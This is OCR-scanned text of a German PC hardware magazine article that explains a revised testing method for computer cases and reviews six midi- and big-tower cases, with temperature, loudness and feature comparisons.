kommt, dass man durch den Ein- 
satz einer modernen CPU auf einer 
aktuellen Sockel-1151-Platine mit 
Z170-Chipsatz auch einmal Ver- 
gleichsmöglichkeiten mit spiele- 
tauglichen Komplett-PCs hat, die 
mit verschiedenen Gehäuseforma- 
ten angeboten werden. 


In punkto Grafikkarte fiel unsere 
Wahl nicht nur wegen ihrer kom- 
pakten Ausmaße, sondern auch we- 
gen ihres Axiallüfters auf die GTX 
1070 Mini ITX OC von Gigabyte. 
Vergleichsmessungen mit einer 
GTX 1080 im Nvidia-Referenzde- 
sign zeigten, dass deren Radiallüfter 
die Luft zur Kühlung direkt aus dem 
Gehäuse holt und den größten Teil 


der Abluft direkt wieder herausbe- 
fördert. Der Axiallüfter der GTX 
1070 dagegen holt sich die Luft zur 
Kühlung der GPU zwar auch aus 
dem Inneren des Gehäuses, ver- 
teilt die Abluft allerdings hier auch 
wieder. Dadurch kommt es zu einer 
höheren Wärmeentwicklung im In- 
nenraum und die CPU-Temperatur 
steigt messbar - also ideale Voraus- 
setzungen für unsere Temperatur- 
und Lautheitstests. 


Wertungskriterium Volumen 
Während sich die Test- und Bewer- 
tungsmethodik im  Leistungsbe- 
reich stark verändert hat und teils 
komplett erneuert wurde, halten 
sich die Überarbeitungen in den 
Testdisziplinen Ausstattung und 
Eigenschaften in Grenzen. Da wir 
die Benotung der Ausstattung be- 
reits in vorangegangenen Gehäuse- 
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Das Volumen von vier Gehàuseinnenràumen im Vergleich 


Unter dem Punkt , Eigenschaften" werten wir nun auch das Innenraumvolumen (Angabe in Liter). Dabei liegt das maximale Volumen bei stolzen 122 Litern (Thermaltake Core X9, 
nicht im Bild). Wie vorherige Messungen zeigen, beeinflusst das Volumen vor allem bei den kleinen Micro-ATX- oder Mini-ITX-Modellen die Temperatur im Inneren des Gehäuses. 


Marktübersichten an die neuesten 
Features angepasst haben, wurde 
hier nur noch die Gewichtung bei 
Extras wie Dàmmung, werkzeuglo- 
se Laufwerksbefestigung, Steckkar- 
tenbefestigung (Lian-Li-Gehäuse) 
EATX-Extender — (Bitfenix 
Shogun) überarbeitet. Neu jedoch 
ist, dass das Fehlen eines 5,25-Zoll- 
Laufwerksschachts nicht mehr zu 
Abzügen bei der Ausstattungsnote 
führt. Im Gegenzug verbessert sich 
letztgenannte, je mehr Halterun- 


oder 


gen vorhanden sind. Dafür führen 
wir unter dem Wertungspunkt ,Ei- 
genschaften* nun die Benotung des 
Innenraumvolumens ein, da dies ei- 
nen messbaren Einfluss auf die Luft- 
temperatur im Gehäuse und somit 
auf die Temperaturentwicklung hat. 
Der Faktor Innenraumgröße kommt 
vor allem bei Vergleichsmessungen 
mit einem Midi-Tower und einem 
Mini-ITX-Gehäuse zum Tragen. 


Lautheitsmessung, jetzt mit 
neuem System 

Die Grundlage für unsere Laut- 
heitsmessung ist nun die Tabelle 
mit den Sone-Angaben auf der rech- 
ten Seite. Dabei ermitteln wir den 
Lautheitswert und ordnen ihn zwi- 
schen dem niedrigsten Wert von 
0,1 Sone und dem Maximalwert 
von 4,1 Sone ein. Das führt zu einer 
Wertungsnote, die genauso wie die 
Gesamtnote für alle gemessenen 
Temperaturen (CPU 50 Prozent, 
GPU 30 Prozent und Innenraum 
20 Prozent Gewichtung) zu 50 Pro- 
zent in die finale Leistungswertung 
einfließt. Dabei haben wir die Art 
und Weise der Messung nicht ge- 
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81,7 Liter 
55,7 Liter 


ändert und ermitteln den Sone- 


Wert nach wie vor mit dem Neutrik 
Cortex Instruments NC10 in einem 


Abstand von 50 Zentimentern fron- 
tal sowie schräg vorne im 45-Grad- 
Winkel. Allerdings verringert sich 
der Umfang der Messung auf zwei 
Werte, da wir nun die Lüfter direkt 
an die Platine anschließen und so 
die vorherige Messung mit 12 Volt 
und 7/5 Volt Lüfterspannung ent- 
fällt (siehe Extrakasten S. 68). 


Temperaturmessungen: 
neue Methodik & Wertung 
Da wir mit dem Core i7-6700K so- 
wie der Gigabyte GTX 1070 Mini 
ITX OC zwei zentrale und vor allem 
für die Temperaturentwicklung im 
Gehäuse wichtige Komponenten 
getauscht haben, kommen wir nicht 
darum herum, das Temperaturbe- 
wertungssystem von Grund auf zu 
erneuern. Das basiert nun, sowohl 
bei der CPU- als auch der GPU-Tem- 
peratur, auf dem offenen Aufbau 
des Systems bei einer Raumtempe- 
ratur von 24 °C. Hier liegt die Tem- 
peratur des Core i7-6700K bei 60 °C, 
die GPU-Temperatur der GTX 1070 
Mini ITX OC beträgt 67 °C (1.951 U/ 
min Lüfterdrehung, 1848 MHz GUP- 
Takt). Die Differnz zwischen der 
gemessenen CPU/GPU-Temperatur 
und den Temperaturmesswerten 
beim offenen Aufbau führt dann zu 
einem sogenannten Deltawert, der 
in einer Umrechnung schließlich 
einen Notenwert mit zwei Stellen 
hinterm Komma ergibt. Bei der Mes- 
sung der Innenraumtemperatur, die 
jetzt ebenfalls in die Leistungsnote 
einfließt, messen wir mit dem Delta- 


37,5 Liter 


19,9 Liter 


Subjektive Einschätzung | Lautheit (Richtwert) | Erklärung 

Fast unhörbar 0,1 Sone In stiller Umgebung noch 
wahrnehmbar. 

Leise 0,2-0,5 Sone In stiller Umgebung klar 
wahrnehmbar. 

och leise 0,6-1,0 Sone In ruhiger Umgebung noch 

wahrnehmbar. 

Hörbar 1,1-1,5 Sone In ruhiger Umgebung klar 
wahrnehmbar. 

Deutlich hörbar 1,6-2,0 Sone In ruhiger Umgebung störend. 

Laut 2,1-3,0 Sone In lauterer Umgebung klar 
wahrnehmbar. 

Sehr laut 3,1-4,0 Sone In lauterer Umgebung störend. 

Inakzeptabel laut 4,1 Sone und höher | Auf Dauer unerträglich. 


Der Radiallüfter der GTX 1080 zieht die Luft zur Kühlung aus dem Gehäuse und bläst die 
Abluft heraus. Der Axiallüfter der GTX 1070 heizt dagegen den Innenraum weiter auf. 


Wert die Differenz zur Raumtem- 
peratur. Um die GPU-Temperatur 
für die Wertung nutzen zu können, 
waren allerdings ein paar spezielle 
Vorbereitungen nötig. Damit die 
GTX 1070 nicht, wie anfänglich, be- 


reits ab 63 °C ins Temperatur-Target 
läuft und den Takt senkt, respektive 
die Lüfterdrehzahl hörbar anhebt, 
setzten wir das Temperaturlimit 
händisch per MSI Afterburner auf 
83 °С. (fs) 
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Das neue Testsystem im Detail 


Gigabyte Geforce GTX 1070 Mini ITX OC 
Die GTX 1070 von Gigabyte verfügt über eine geschrumpfte 
Platine (Mini-ITX). So kónnen wir den potenten Render-Mini 
auch für die 
Tests der Micro- 
ATX- und Mi- 
ni-ITX-Gehäuse 
einsetzen. Des 
Weiteren heizt 
der Radiallüfter 
das Gehäusein- 
nere gut auf. 


Asus 21701 Pro Gaming (Sockel 1151) 
Mit der Asus-Platine mit Z170-Chipsatz setzen wir ebenfalls 
bewusst auf ein Mini-ITX-Board. Somit kommt ein für den Test 
aller Gehäusegrößen geeignetes System zum Einsatz. Beim 
CPU-Kühler 
nutzen wir mit 
dem Themalright 
AXP-100 weiter- 
hin ein Top- f : : M.2-SSD (WB Blue mit 250 GiByte) 
Blow-Modell, da KN ayj Trotz des kompakten Formats bietet die Asus-Platine auf der 
jele Turmkühler : С Rückseite einen M.2-Port. Den nutzen wir für die SSD mit un- 
nicht in die Mi- "te seren Tools und dem OS (Win10). Da es kaum noch Gehäuse 
ni-ITX-Gehäuse ohne Aussparung im Mainboard-Tray gibt und die SSD nicht 
passen. im Abluftstrom liegt, wird sie mit ca. 50 °C nicht zu heiß. 


Lautheitswertung: Lüftersteuerung per Hauptplatine 


ASUS UEFI BIOS Utility - EZ Mode - | Bisher haben wir die Drehzahl der Gehäuselüfter per Netzteil/Lüfter- 


12:33% steuerung geregelt. Das übernimmt jetzt die QFan-Control-Funktion. 


CPU Core V 


1.296V " n Die Kühlleistung und Lautheit der mitgelieferten Lüfter ist ein entscheidender 
Motherboard Temperature Faktor bei der Leistungsbewertung eines Gehäuses. Um diese Werte zu ermittlen, 
schließen wir bei den neuen Testmethoden alle Propeller, falls nötig mit Y-Adaptern 
(siehe Bild oben), an die Mini-ITX-Platine von Asus an. Die Steuerung der Drehzahl 
übernimmt dann das QFan-Control-Feature, das im Bios unter dem Menüpunkt 
„QFan Control” (Bild links) zu finden ist. Im Gegenzug verzichten wir darauf, die 
Lüfterdrehzahl per Spannungsreduktion oder Lüftersteuerung — falls vorhanden — 
auf ein Minimum zu regulieren und dann deren Lautheit erneut zu messen. 


Switch all 


CPU FAN 


Wie unten zu sehen ist, wählen wir für den CPU- sowie die Gehäuselüfter die Ein- 
stellung „Standard”. Dabei rotieren alle Propeller erst bei 70 °C mit voller Drehzahl 
und produzieren die Lautheit, die wir vorher mit 12 Volt Lüfterspannung gemessen 
haben. Bietet ein Gehäuse jedoch eine gute bis sehr gute Kühlleistung, wird die 
QFan-Control die Drehzahl der Gehäuselüfter von den voreingestellten 60 Prozent 
auf maximal 70 bis 80 Pronzent erhöhen. Die Messung der Lautheit und Kühllei- 
stung, die daraus resultiert, ist praxisnaher als beim vorherigen Messverfahren. 


@ Optimize All wo @ Optimize Al wo © Optimize А! 


CPU FAN CPU FAN CPU FAN 
CHAT FAN CHA1 FAN CHAT FAN 
CHA2 FAN CHA2 FAN СНА2 FAN 
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Hardware leise 


und gut gekühlt? 


Mit bunt beleuchteten Elementen, Materialien wie Aluminium und Glas oder 
einem Schubladendesign macht die neue Gehäusegeneration optisch einiges 
her. Überzeugen die Hardware-Heime auch mit einer lobenswerten Leistung? 


B 


in Gehäuse ist schon lange kein 
F... unauffälliger Kas- 
ten mehr, in den man einmal seine 
Hardware einbaut und der dann 
für immer unter dem Schreibtisch 
verschwindet. Ganz im Gegenteil 
bewegt sich der Trend schon seit 
Längerem weg von einem schlich- 
ten Design, bei dem bestenfalls 
ein Seitenfenster oder eine mit Wa- 
bengitter verzierte Front für eine 
optische Abwechslung sorgt. Wie 
bei drei der sechs in der folgenden 
Marktübersicht getesteten Model- 
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len zu sehen ist, legen die Herstel- 
ler mittlerweile viel Wert auf Optik 
und verzieren die Hardware-Behau- 
sungen mit einer Front- oder SSD- 
Beleuchtung im RGB-Farbraum, mit 
Seitenteilen aus gehärtetem Glas, 
mit beleuchteten Lüftern oder LED- 
Leuchtstreifen im Innenraum. Ein 
weiterer Trend, über den wir auch 
in der Kaufberatung der letzten 
Ausgabe 01/2017 berichtet haben, 
sind geänderte Innenraumdesigns. 
Die besten Beispiele hierfür sind 
die innovative Schubladentechnik 


des Nanoxia Project S und das mo- 
dulare Innere des Bitfenix Shogun, 
das durch eine EATX-Erweiterung 
für diese spezielle Platinengröße 
kompatibel gemacht werden kann. 
Dazu kommen Features wie eine 
Netzteilkammer, in der sich auch 
die Laufwerkskäfige befinden, SSD- 
Halterungen auf der Rückseite des 
Mainboard-Trays oder offene, für 
den Einsatz von Wakü-Radiatoren 
konzipierte Deckelkonstruktionen, 
die bei immer mehr Midi- und Big- 
Towern zu finden sind. 


Wie wir bei den ersten Messungen 
mit dem alten Testsystem (Core i5- 
4790 und GTX 1060) feststellten, 
haben die Anbieter auch an den 
Kühleigenschaften und der Laut- 
heit der Lüfter gearbeitet, sodass 
diese Testhardware die Gehäuse 
weder richtig aufheizt, noch für 
eine herausfordernde Geräusch- 
kulisse im Zusammenspiel mit den 
Gehäuselüftern sorgt. Aus diesem 
Grund haben wir unsere Messme- 
thoden und das Bewertungssys- 


www.pcgameshardware.de 


NANOXIA 


Marktübersicht Gehàuse | INFRASTRUKTUR 


tem renoviert (siehe Artikel S. 66 
bis 68), sodass sich die Probanden 
dieser Marktübersicht vor allem bei 
den Leistungstests ganz neuen An- 
forderungen stellen müssen. 


L Testsieger mit nütz- 
licher Sonderausstattung und guter 
Kühlung. Wer für ein Premium-Ge- 
hàuse wie das Bitfenix Shogun 160 
Euro bezahlt, erwartet eine dem 
Preis angemessene Ausstattung, die 
er auch bekommt. Mit fünf 2,5-Zoll- 
Halterungen (zwei mit RGB-be- 
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leuchtetem Chroma-Modul) sowie 
drei demontierbaren Laufwerkskä- 
figen, in die je zwei 3,5-Zoll- oder 
2,5-Zoll-HDDs/SSDs eingebaut wer- 
den können, hält das Bitfenix Sho- 
gun viele Einbaumöglichkeiten für 
Festplatten bereit. Dazu kommen 
ausreichend Montageplätze für 
die Lüfter. An den Deckel und die 
Front können zwei 140-mm- oder 
drei 120-mm-Varianten angebracht 
werden. Ein weiterer 140/120-mm- 
Lüfter, der zusätzlich verschiebbar 
ist, befindet sich im Heck und ab 


Mit dem Glasdeckel, dem Alu-Chassis und der Platinenhalterung mit Schubladentechnik 
ist das liegend und stehend einsetzbare Nanoxia Project S nicht nur optisch auffällig. 


ECH 


ODDO AA A AA A À 


Zu den Extras, die das Bitfenix Shogun bereithält, gehören die vom Hersteller als Chroma- 
Module bezeichneten, RGB-beleuchteten SSD-Halterungen. Die Lichtspielereien kónnen 
wahlweise per Schalter am Geháuse oder per Asus-Aura-Software gesteuert werden. 
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Das Premium-Gehäuse von Bitfenix kombiniert eine gute Kühlleis- 
tung (CPU: 66 °C/Innenraum: 32 °C) und erträgliche Geräuschkulisse 
(1,6/1,8 Sone) mit einer Ausstattung, die viele teils sehr nützliche Ex- 
tras zu bieten hat. Dazu kommen die Flexibilität und Modularität beim 
Einbau der Komponenten. In der Summe sorgt das für den Testsieg. 


1 = 
Zur umfangreichen Ausstattung des Bitfenix 
Shogun gehören eine Grafikkartenhalterung, 
zwei Befestigungen für 2,5-Zoll-Laufwerke auf 
der Rückseite des Mainboard-Trays und ein 
Kabelführungssystem mit Klettverschlüssen. 


Das modulare Bitfenix Shogun punktet mit vie 
Flexibilität bei der Hardware-Montage. Um 
Platz für die EATX-Erweiterung zu schaffen, 
assen sich Laufwerkskäfige, Grafikkartenstüt- 
zen und die Chroma-SSD-Halterung ausbauen. 


Zur nützlichen Ausstattung des Cool Force 1 von Nanoxia gehören eine 
Lüftersteuerung sowie eine Dämmung. Letztgenannte garantiert eine 
akzeptable Geräuschkulisse von 1,8 Sone, sorgt aber bei geschlos- 
senem Deckel auch für eine leicht erhöhte CPU- und Innenraumtempe- 
ratur von 70 °C respektive 39 °C. Das reicht nur für Platz 2 im Test. 


Entfernt man den als Air-Cover bezeichneten 
Deckel, ist die Montage eines 420-mm-Ra- 
diators möglich. Die 3,5/2,5-Zoll-Laufwerks- 
halterungen lassen sich entfernen, um einen 
Wärmetauscher an der Front zu platzieren. 


Beim Cool Force 1 von Nanoxia findet man 
ebenfalls Befestigungsmöglichkeiten für SSDs/ 
2,5-Zoll-HDDs auf der Rückseite der Main- 
board-Halterung. Der Verzicht auf den Deckel 
sorgt für kühlere Temperaturen im Inneren. 


72 PC Games Hardware | 02/17 


Werk ist das Bitfenix Shogun mit 
zwei 120-mm-Propellern an der 
Front und einem weiteren Modell 
selbiger Größe am Heck bestückt. 
Neben Standardelementen wie 
der werkzeuglosen Befestigung 
für 3,5-Zoll-HDDs, Staubschutz an 
Boden und Deckel oder dem Ka- 
belführungssystem mit Klettver- 
schlüssen hat die Ausstattung des 
Bitfenix Shogun zwei spezielle Ex- 
tras zu bieten. Das eine ist eine Hal- 
terung für sehr lange Grafikkarten 
(siehe Bild links), das andere ist die 
EATX-Erweiterung, die anstelle der 
drei Laufwerkskäfige ins Gehäuse 
geschraubt werden kann. 


Die wichtigste Eigenschaft des Bit- 
fenix Shogun ist seine Modularität 
sowie die Flexibilitàt beim Einbau 
der Komponenten. Alle Laufwerks- 
halterungen inklusive Chroma- 
Modul lassen sich entfernen, um 
Platz für Wakü-Radiatoren oder die 
EATX-Erweiterung des Mainboard- 
Trays zu schaffen. Für den Einbau 
der Hardware steht beim Bitfenix 
Shogun generell viel Innenraum be- 
reit, dessen Volumen 74,16 Liter be- 
trägt. Letztgenanntes trägt auch zu 
den guten Kühleigenschaften bei, 
denn die mit 1,7/1,8 Sone durchaus 
hörbaren, aber noch nicht störend 
lauten Gehäuselüfter die CPU auf 
66 °C, die GPU auf 69 °C sowie den 
Innenraum auf 32 °C kühlen. 


H ol Force 1: Gedämmtes, 
für wassergekühlte PCs optimier- 
tes Gehäuse mit speziellem Deckel. 
Anders als Chieftech beim Gaming 
GP-01B oder Corsair beim Carbide 
270R setzt Nanoxia bei dem mit 
Dämmmatten an beiden Seitentei- 
len, einer Lüftersteuerung, einer 
Frontbeleuchtung sowie einem 
Kabelführungssystem ausgestat- 
teten Cool Force 1 auf ein klassi- 
sches Innenraumdesign. Dabei 
sind die drei einfach entfernbaren 
Halterungen für 3,5/2,5-Zoll-Lauf- 
werke vor den zwei vormontierten 
140-Millimeter-Lüftern positioniert 
und verschwinden nicht unter ei- 
ner Abdeckung oder in einer Kam- 
mer für das Netzteil. Zwei weitere 
Halterungen für SSDs oder 2,5-Zoll- 
HDDs sind auf der Rückseite der 
Mainboard-Halterung zu finden 
und können dann genutzt werden, 
wenn man die drei Laufwerkskäfi- 
ge sowie die Propeller in der Front 
gegen einen 240-mm-Radiator er- 
setzen will. 
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Entfernt man den als als Air-Cover 
bezeichneten Deckel, steht ein wei- 
terer Montageplatz für einen Wär- 
metauscher mit bis zu 420 Milli- 
metern Länge bereit. Die Nutzung 
des Nanoxia Cool Force 1 ohne den 
Deckel kann sich aber auch bei re- 
gulärer Luftkühlung schon positiv 
auf die Temperaturen im Inneren 
auswirken. Mit Messwerten von 70 
°C (CPU), 71 °C (GPU) und 39 °C 
(Innenraum) bei geschlossener 
Oberseite befindet sich das für 
Wakü-Fans konzipierte Gehäuse in 
puncto Leistung nämlich auf einem 
der hinteren Plätze wieder. Im Ge- 
genzug ist das Lüftergeräusch dank 
Dämmung erträglich, aber mit 
1,8/1,8 Sone noch hörbar. 


с! c Gi g GP-10B: Viel Aus- 
stattung und gute Leistung zum 
passablen Preis. Mit seinen billig 
wirkenden Plastikelementen in 
Klavierlack-Optik und dem aus 
Plexiglas gefertigten Seitenteil fällt 
Chieftecs neues Gehäuse für Spie- 
ler-Hardware optisch eher negativ 
auf. Beim Blick in den mit einer 
Kammer für das Netzteil und ei- 
nem Käfig für vier 3,5/2,5-Zoll-Lauf- 
werke (werkzeuglose Montage) 
bestückten Innenraum (48,8 Liter) 
gibt es dagegen durchaus Positives 
zu entdecken. Die Grafikkartenhal- 
terung ist flexibel und stützt nicht 
nur mehrere, sondern auch sehr 
lange GPUs. Für die Befestigung der 
SSDs in den beiden demontierba- 
ren Halterungen auf der Rückseite 
des Mainboard-Trays werden keine 
Schrauben benötigt und das I/O- 
Panel wird von zwei LED-Streifen 
(acht Farben) beleuchtet. Zur wei- 
teren Ausstattung gehören der 
Staubschutz mit Druckmechanis- 
mus für den Deckel und die Front 
mit Wabengitterstruktur sowie die 
zweistufige Steuerung für insge- 
samt sechs Propeller. Zwei 120-mm- 
Frontlüfter sowie ein Heckpro- 
peller mit selbiger Grófse gehóren 
ebenfalls zur Grundausstattung. 


Wie alle Testkandidaten nimmt 
auch das als „Stallion“ bezeichnete 
Chieftec-Geháàuse Wakü-Radiato- 
ren auf. Dabei kann der Deckel mit 
einem 280-mm-Wärmetauscher 
und die Front mit einem 240-mm- 
Modell bestückt werden. Allerdings 
liefert bereits die Lüfterbestückung 
ab Werk eine gute Kühlleistung 
ab. Das bestätigen die Messwerte 
von 65 °C (CPU), 71 °C (GPU) und 
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Unser Preis-Leistungs-Tipp, Chieftecs Gaming GP-10B, verfügt im 
Testfeld über die zweitbeste Ausstattung. Deren Besonderheiten sind 
die RGB-Beleuchtung, die Grafikkartenhalterung sowie die große 
Kammer für das Netzteil und die Laufwerkskäfige. Dazu kommen gute 
Kühleigenschaften (CPU: 65 °C), die mit einer hörbaren Geräuschkulis- 
se erkauft werden. 


2 A у n 


Corsair spendiert dem Carbide 270R wenige Extras und mit zwei 
3,5/2,5-Zoll-Kombi- und 2,5-Zoll-Laufwerkshalterungen auf der Rückseite 
der Platinenhalterung fallen auch die Befestigungsmöglichkeiten für 
HDDs/SSDs überschaubar aus. Im Gegenzug liefert das Carbide 270R eine 
gute Kühlung (CPU: 66 °C) und ertrágliche Lautheit (1,6/1,8 Sone) ab. 


nach hinten verschoben werden und stützt 
so auch sehr lange GPUs. In der Kammer am 
Boden ist Platz für das Netzteil und die vier 
Halterungen für 3,5/2,5-Zoll-Laufwerke. 


Wer die zweistufige Lüftersteuerung nutzen 
will, muss die Lüfter an die Platine auf der 
Rückseite des Mainboard-Trays anschließen. 
SSDs/2,5-Zoll-HDDs lassen sich ohne Schrau- 
ben an den Plastikhalterungen befestigen. 


Oh _ 24 


Der offene Deckel des Carbide 270R nimmt 
zwei 140/120-mm-Lüfter auf, garantiert aber 
auch ohne die Propeller eine gute CPU-Küh- 
ung. Dabei reichen schon zwei 120-mm-Lüf- 
er (Front/Heck) für einen effektiven Luftstrom. 


Damit an der Front Platz für drei 120-mm-Lüf- 
er oder einen 360-mm-Radiator ist, befinden 
sich die vier Laufwerksbefestigungen auf der 
Rückseite der Boardhalterung. Die USB- und 
Audio-Anschlüsse sind seitlich angeordnet. 
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Mit dem S25-W zeigt Sharkoon eindrucksvoll, dass ein ausreichend 
ausgestattetes Gehäuse mit ordentlicher Kühlung und nicht störend 
lautem Lüfter kein Vermögen kosten muss. Lediglich die Tatsache, dass 
es Probleme mit dem Anschluss von HDMI- und DP-Kabeln an unserer 
Testgrafikkarte gibt, trübt den positiven Eindruck. 


Ginge es nach der Fertigungsqualität, dem eingesetzten Material und der 
den Hardware-Einbau extrem erleichternden Schubladentechnik, wäre 
das Project S der Sieger dieser Marktübersicht. Da Nanoxia das Project S 
aber nur mit einem Hecklüfter ausliefert, wird die Hardware relativ warm 
(70 °C) und die Lüfter von GPU und CPU drehen hórbar auf. 
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Wie beim Corsair Carbide 270R werden auch 
beim S25-W von Sharkoon die 2,5-Zoll-Lauf- 
werkshalterungen an der Hinterseite des Main- 
board-Trays befestigt. Ein weiterer Laufwerks- 
käfig befindet sich in der Netzteilkammer. 


Zur ordentlichen Ausstattung des Sharkoon 
S25-W gehórt ein magnetischer Staubschutz 
ür den Deckel. Die beiden Frontlüfter, die 

zur Grundausstattung gehóren, gehen mit 
1,4/1,6 бопе hörbar, aber nicht laut zu Werke. 


Das Schubladendesign, bei dem sich der 

auf Rollen gelagerte Innenraum aus dem 
Alu-Rahmen des mit nur einem Heckpropeller 
bestückten Nanoxia Project S herausziehen 
lásst, vereinfacht den Einbau der Hardware. 


SSDs oder 2,5-Zoll-HDDs werden im Nanoxia 
Project S an drei nach oben ragenden 
Halterungen befestigt. Der Deckel, der bei 
iegender Nutzung als Seitenteil fungiert, 
nimmt drei 120-mm-Lüfter auf. 


37 *C (Innenraum). Obwohl die 
Lüfter dabei mit einer klar wahr- 
nehmbaren Lautheit von 2,2/2,1 zu 
Werke gehen, ist das Chieftec Ga- 
ming GP-01B nicht zuletzt wegen 
seiner ordentlichen Kühlung und 
umfangreichen Ausstattung unsere 
Preis-Leistungs-Empfehlung. 


i Carbide 270R: Wenig 
Extras, aber überzeugende Kühl- 
eigenschaften. Anders als Chieftec 
beim Gaming СР-01В oder Shar- 
Кооп beim S25-W verzichtet Corsair 


ir 


Cors 


im Innenraum des mit einem Sicht- 
fenster bestückten Carbide 270R 
auf jegliche Laufwerkshalterungen. 
Dafür befinden sich sowohl die 
zwei 3,5/2,5-Zoll-Kombi- als auch 
die 2,5-Zoll-Laufwerkshalterungen 
auf der Rückseite des Mainboard- 
Trays. Ein weiterer Vorteil dieses 
mittlerweile immer öfter zum 
Einsatz kommenden Innenraum- 
designs ist die Tatsache, dass vor 
der Netzteilkammer ausreichend 
Platz für sehr hohe Radiatoren mit 
bis zu 360 Millimetern Länge (re- 
gulär: 2 x 140-/3 x 120-mm-Lüfter) 
ist. Neben Sharkoons S25-W ist das 
Corsair Carbide 270R das einzige 
Gehäuse, das mit einem offenen 
Deckel ausgeliefert wird. Dort las- 
sen sich zwei 140/120-mm-Lüfter 
anbringen (alternativ: 280-mm- 
Radiator), ein Staubschutz gehört 
jedoch nicht zu der ebenfalls mager 
ausfallenden Ausstattung. 


Auch bei der Zahl der mitgeliefer- 
ten Lüfter beschränkt sich Corsair 
mit einem beleuchteten 120-mm- 
Propeller vorn und einem unbe- 
leuchteten Modell derselben Größe 
am Heck auf die Grundausstattung. 
In Kombination mit dem offenen 
Deckel garantiert schon dieses 
Lüfterpärchen eine gute Kühlung 
der zentralen Komponenten (CPU: 
66 °C/GPU: 71 °C) sowie des Innen- 
raums (37 °C). Die Befürchtung, 
dass zu viel Lüftergeräusch durch 
den offenen Deckel nach draußen 
dringt, bestätigt sich im Test nicht, 
denn die Geräuschkulisse lag bei 
akzeptablen 1,6/1,8 Sone. 


Sharkoon S25-W: Ordentliche Aus- 
stattung und Leistung für sparsame 
Spieler. Sharkoon wählt für das S25- 
W ebenfalls ein Innenraumdesign, 
bei dem das Netzteil sowie zwei 
3,5/2,5-Zoll-Laufwerkshalterungen 
in einer Kammer mit einer Ausspa- 


rung für die Kabel des Stromgebers 
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wie der blau beleuchtete 120-mm- 
Hecklüfter und das 120-mm-Front- 
lüfterpärchen. 


Falz hervor, der verhinderte, dass 
wir beide Kabel vollständig in den 
Anschluss stecken konnten. Davon 
abgesehen gibt es aber nichts zu 
meckern. Ganz im Gegenteil bietet 
das Sharkoon S25-W trotz des sehr 
günstigen Preises von 50 Euro eine 
gute Leistung. Mit Temperaturen 
von 67 °C (CPU), 72 °C (GPU) und 
43 °C (Innenraum) liegt es im Mit- 
telfeld, bei der Lüfterlautheit mes- 
sen wir hier mit 1,4/1,6 Sone sogar 
den niedrigsten Wert im Test. 


verschwinden. Zwei weitere Befes- 
tigungsmöglichkeiten für SSDs/2,5- 
Zoll-HDDs sind auf der Rückseite 
der Platinenhalterung zu finden 
und in den 5,25-Laufwerkskäfig 
passen alternativ eine 3,5-Zoll- so- 
wie zwei 2,5-Festplatten. Wie bei 
Corsairs Carbide 270R ist auch 
der Deckel des Sharkoon S25-W 
offen und nimmt wahlweise drei 
120-mm- oder zwei 140-mm-Lüfter 


Nanoxia Project S: Optisch auffälli- 
ges und edel gefertigtes Designer- 
stück. Nanoxias ohne den Einsatz 
von Kunststoff gefertigtes Edelge- 
hàuse (Preis ca. 240 Euro), das laut 
Hersteller liegend und nicht ste- 
hend eingesetzt wird, hat einiges an 


Obwohl in dem mittelgrofsen Ge- 
háuse mit 43,9 Litern Volumen 
ausreichend Platz für den Ein- 
bau der Hardware zur Verfügung 
steht, gab es ein Problem beim 
Anschluss des Display-Port- und 
HDMI-Kabels an die montierte 
Grafikkarte. An der Aussparung in 
der Slot-Blende stand nämlich ein 


Sonderausstattung auf Lager. Das 
Alleinstellungsmerkmal des Nano- 
xia Project S ist klar seine Schub- 
ladentechnik, die den Einbau der 
Hardware sehr vereinfacht, weil für 
deren Montage der komplette, an 


auf. Ein magnetischer Staubschutz 
gehört genauso zum Lieferumfang 


GEHÄUSE: 
MIDI- UND BIG-TOWER 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


PREIS-LEISTUNGS-TIPP 


G B 


Нагйшаге 


Соо! Еогсе 1 
Nanoxia (www.nanoxia-world.com) 


Gehàuse 
Hersteller (Webseite) 
Link zum PCGH-Preisvergleich 


Shogun 
Bitfenix (www.bitfenix.com) 
www.pcgh.de/preis/1548958 


Ca. € 160,-/befriedigend (beide Seitenfenster aus Glas, 
keine Dämmung) 


Nicht vorhanden/nicht vorhanden 


Gaming GP-01B 

Chieftec (www.chieftec.eu) 
www.pcgh.de/preis/1493676 

Ca. € 70,- /gut bis sehr gut (Fenster/keine Dämmung) 


www.pcgh.de/preis/1514715 


Preis/Preis-Leistungs-Verháltnis (getestete Version) Ca. € 85,- /befriedigend bis gut (kein Fenster/gedämmt) 


Version ohne Fenster/ohne Dämmung Ca. € 85,-/nicht vorhanden Nicht vorhanden/nicht vorhanden 


Ausstattung (20 %) 2,48 2,90 2,63 
Plátze für Laufwerke 6x 3,5/2,5 Zoll, 5 x 2,5 Zoll 2 x 5,25 Zoll, 3 x 3,5/2,5 Zoll, 2 x 2,5 Zoll 2 x 5,25 Zoll, 4 x 3,5/2,5 Zoll, 2 x 2,5 Zoll 
Erweiterungs-Slots (Blende) Sieben Sieben Sieben 


Handbuch 
Lüfterplátze 


Einfaches Faltblatt 


Deckel: 2 x 140/120 mm, Front: 3 x 120 mm, Heck: 1 x 
120 mm, Seite: -, Boden:- 


2x 120 mm (Front), 1x 120 mm (Heck) 


Sehr ausführlich 

Deckel: 3 x 140/120 mm, Front: 2 x 140 mm, Heck: 1 x 
120 mm, Seite: -, Boden: 1 x 140/120 mm 

2x 140 mm (Front), 1x 120 mm (Heck) 


Sehr ausführlich 

Deckel: 2 x 140/3 x 120 mm, Front: 2 x 140/3 x 120 mm, 
Heck: 1 x 140/120 mm, Seite: -, Boden: - 

2x 120 mm (Front), 1 x 120 mm (Heck) 


Vorhandene Lüfter 


* System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


Verwindungssteifheit 


Frontanschlüsse 2 x USB 3.0, 2 x USB 2.0, Audio 2 x USB 3.0 1 x USB 3.1, Audio 2 x USB 3.0 2 x USB 2.0, Audio 

Besonderheiten Seitenteile aus Glas, , SSD-Chroma" (Halterung mit RGB- |Dämmung enthalten, Frontbeleuchtung, SSD-Montage Seitenfenster (Kunststoff), RGB-Frontbeleuchtung, 
Beleuchtung für SSDs), SSD-Montage auf Rückseite der — | auf Rückseite der Mainboardhalterung, Wakü-Schlauch- |SSD-Montage auf Rückseite der Mainboardhalterung, 
